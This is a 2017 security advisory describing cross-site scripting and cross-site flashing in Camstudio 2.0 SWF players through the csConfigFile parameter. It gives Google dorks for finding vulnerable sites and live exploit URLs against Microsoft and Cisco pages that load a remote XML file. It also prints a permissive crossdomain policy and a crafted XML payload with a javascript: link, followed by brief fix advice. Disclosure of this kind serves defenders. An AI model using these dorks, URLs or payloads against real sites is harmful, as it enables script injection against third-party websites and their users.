Camstudio 2.0 XSS / XSF / Content Forgery

Camstudio version 2.0 suffers from cross site scripting and cross site flashing vulnerabilities.


MD5 | 1b477ec34b0d82b7df190a79b624f9d1

           ______  ______   _____     ___   _____   _____   _____              
| ___ \ | ___ \ | _ | |_ | | ___| / __ \ |_ _|
| |_/ / | |_/ / | | | | | | | |__ | / \/ | |
| __/ | / | | | | | | | __| | | | |
| | | |\ \ \ \_/ / /\__/ / | |___ | \__/\ | |
\_| \_| \_| \___/ \____/ \____/ \____/ \_/


_____ _ _ _____ _____ _____ _ _ ______ _____ _____ __ __
|_ _| | \ | | / ___| | ___| / __ \ | | | | | ___ \ |_ _| |_ _| \ \ / /
| | | \| | \ `--. | |__ | / \/ | | | | | |_/ / | | | | \ V /
| | | . ` | `--. \ | __| | | | | | | | / | | | | \ /
_| |_ | |\ | /\__/ / | |___ | \__/\ | |_| | | |\ \ _| |_ | | | |
\___/ \_| \_/ \____/ \____/ \____/ \___/ \_| \_| \___/ \_/ \_/


[+]---------------------------------------------------------[+]
| Vulnerable Software: Camstudio 2.0 |
| Vendor: https://camstudio.org |
| Vulnerability Type: XSS, XSF, Content Forgery |
| Date Released: 2017 |
| Released by: MLT (@ret2libc) |
[+]---------------------------------------------------------[+]

There is a cross-site-scripting / cross-site-flashing vulnerability affecting Camstudio. It can allow an
attacker to inject malicious SWF's into the vulnerable site in addition to having a use for content forgery and
cross site scripting. Depending on the version of flash player in use by the victim, XSS via a malicious SWF may
or may not be possible. In the case that it is not possible, an attacker can still inject javascript via CDATA
although this requires additional user interaction. externalInterface.call can also be abused here for callback
functionality.

Vulnerable sites include: Microsoft, US Army, Cisco, Fedex, Bank of America, HP, Intel, Dell, Samsung and more.
Almost quarter of a million sites in total are using this vulnerable software.

To find sites that are vulnerable to this, the following Google dorks can be used:
inurl:csConfigFile= filetype:swf
inurl:controller filetype:swf

the 'csConfigFile' HTTP GET paramater is the vulnerable param. Here is a live example of the vulnerability:
https://www.microsoft.com/latam/Office/solutions/demos/ministerio/DemoMTrans_controller.swf?csConfigFile=//zeroday.insecurity.zone/camtasia.xml
http://www.cisco.com/web/KR/events/webcast/video/controller.swf?csConfigFile=//zeroday.insecurity.zone/camtasia.xml

The URL's above show you how a malicious SWF can be loaded from a remote source (this can be used to execute javascript).
To execute the javascript, just click on the informtation box then click where it says 'click me'

In order to exploit this vulnerability, the attacker must have a correctly configured crossdomain policy
running on the same server that they are hosting the malicious XML file. Here is an example crossdomain policy:
-------------------------------------------------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>
-------------------------------------------------------------------------------------------------------------

In addition to their crossdomain policy, an attacker must make a specially crafted XML file with some injected HTML via
Character Data (![CDATA[]]) - In the case that an older version of flash player is used, then it isn't necessary to do
this via CDATA but it can be instead be done via loading a malicious SWF (containing the JS to be executed) from a remote
source. Here is an example of what an attackers crafted XML file would look like:

-------------------------------------------------------------------------------------------------------------
<config>
<AutoStart>1</AutoStart>
<MovieWidth>640</MovieWidth>
<MovieHeight>460</MovieHeight>
<BackgroundColor>FFFFFF</BackgroundColor>
<MovieURL>paydotgov-demo.swf</MovieURL>
<ShowLoadingMov>0</ShowLoadingMov>
<LoadingMovURL></LoadingMovURL>
<ScaleLoadingMov>1</ScaleLoadingMov>
<LoadingMovPercentToLoad>50</LoadingMovPercentToLoad>
<LoadingMovMinDuration>3</LoadingMovMinDuration>
<ControllerColor>C0C0C0</ControllerColor>
<ShowFFRW>1</ShowFFRW>
<ShowAbout>1</ShowAbout>
<AboutBoxText><![CDATA[<a href=javascript:alert(document.domain)>Click me</a>]]> </AboutBoxText>
<TimeDisplayFormat>MM:SS</TimeDisplayFormat>
<ShowDuration>1</ShowDuration>
<ShowElapsedTime>1</ShowElapsedTime>
<TimeDisplayFont>Arial</TimeDisplayFont>
<TimeDisplayFontColor>000000</TimeDisplayFontColor>
</config>
-------------------------------------------------------------------------------------------------------------

For an attacker to call exterenalInterface.call, this can be done by loading the values in <MovieURL> within their
malicious XML file

How to fix:

In order to fix this, system administrators should be performing proper input sanatization although this can be
mitigated without doing so (I'd suggest performing input sanatization anyway as the underlying issue will still
remain if you opt for a quick fix) - Simply correct your site's crossdomain policy to disallow script access from
remote domains.

[+]---------------------------------------------------------[+]
| CONTACT US: |
| |
| IRC: irc.insecurity.zone (6667/6697) #insecurity |
| Twitter: @insecurity |
| Website: insecurity.zone |
[+]---------------------------------------------------------[+]

Related Posts